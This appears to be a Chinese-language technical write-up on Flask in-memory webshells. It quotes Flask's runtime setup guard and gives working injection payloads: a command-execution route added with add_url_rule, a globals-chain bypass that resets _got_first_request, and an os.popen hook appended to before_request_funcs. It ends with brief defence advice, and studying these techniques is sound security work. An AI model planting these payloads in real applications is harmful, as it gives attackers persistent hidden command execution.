flask新版内存马源码学习
字数 1058 2025-08-20 18:17:31
Flask新版内存马技术分析与实现
1. 旧版Flask内存马原理
旧版Flask内存马主要通过add_url_rule方法动态注册路由实现:
def add_url_rule(
self,
rule: str,
endpoint: str | None = None,
view_func: ft.RouteCallable | None = None,
**options: t.Any,
) -> None:
参数说明:
rule: URL路径字符串,如'/users'或'/posts/int:id'endpoint: 路由端点名称,用于反向构建URLview_func: 处理请求的视图函数
旧版payload示例:
app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen('whoami').read())
2. 新版Flask的限制机制
新版Flask引入了@setupmethod装饰器,防止应用启动后修改路由:
def setupmethod(f: F) -> F:
f_name = f.__name__
def wrapper_func(self, *args: t.Any, **kwargs: t.Any) -> t.Any:
self._check_setup_finished(f_name)
return f(self, *args, **kwargs)
return t.cast(F, update_wrapper(wrapper_func, f))
关键检查函数_check_setup_finished:
def _check_setup_finished(self, f_name: str) -> None:
if self._got_first_request:
raise AssertionError(
f"The setup method '{f_name}' can no longer be called"
" on the application. It has already handled its first"
" request, any changes will not be applied"
" consistently.\n"
"Make sure all imports, decorators, functions, etc."
" needed to set up the application are done before"
" running it."
)
3. 解决方法一:修改_got_first_request属性
通过修改_got_first_request属性绕过检查:
g.pop.__globals__.__builtins__.setattr(
g.pop.__globals__.sys.modules['__main__'].app,
'_got_first_request',
False
)
完整payload:
g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules['__main__'].app,'_got_first_request',False)
app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen('whoami').read())
4. 解决方法二:利用钩子函数机制
4.1 Flask请求钩子类型
Flask提供五种常用请求钩子:
before_first_request: 处理第一个请求前运行before_request: 每次请求前运行after_request: 请求后运行(无异常时)teardown_request: 每次请求后运行(即使有错误)teardown_appcontext: 应用上下文弹出前运行
4.2 before_request实现分析
before_request函数源码:
@setupmethod
def before_request(self, f: T_before_request) -> T_before_request:
self.before_request_funcs.setdefault(None, []).append(f)
return f
关键点:
- 使用
@setupmethod装饰器 - 通过
before_request_funcs字典存储钩子函数 setdefault(None, [])表示适用于所有请求
4.3 钩子函数内存马payload
直接操作before_request_funcs字典:
app.before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())
5. 技术总结
- 新旧版本差异:新版Flask通过
@setupmethod装饰器限制运行时修改 - 绕过方法:
- 修改
_got_first_request属性重置应用状态 - 直接操作内部字典结构添加钩子函数
- 修改
- 实现要点:
- 理解Flask内部状态管理机制
- 掌握Python装饰器和钩子函数原理
- 熟悉Python反射和属性操作
6. 防御建议
- 监控应用关键属性的修改
- 限制运行时动态代码执行
- 检查异常请求处理函数
- 实施最小权限原则
7. 扩展思考
- 其他框架(如Django)的类似机制分析
- 基于WSGI中间件的内存马实现
- 无文件攻击的检测与防御
- Python沙箱逃逸技术结合应用
通过深入理解Flask内部机制,可以更有效地进行安全防御和攻击检测。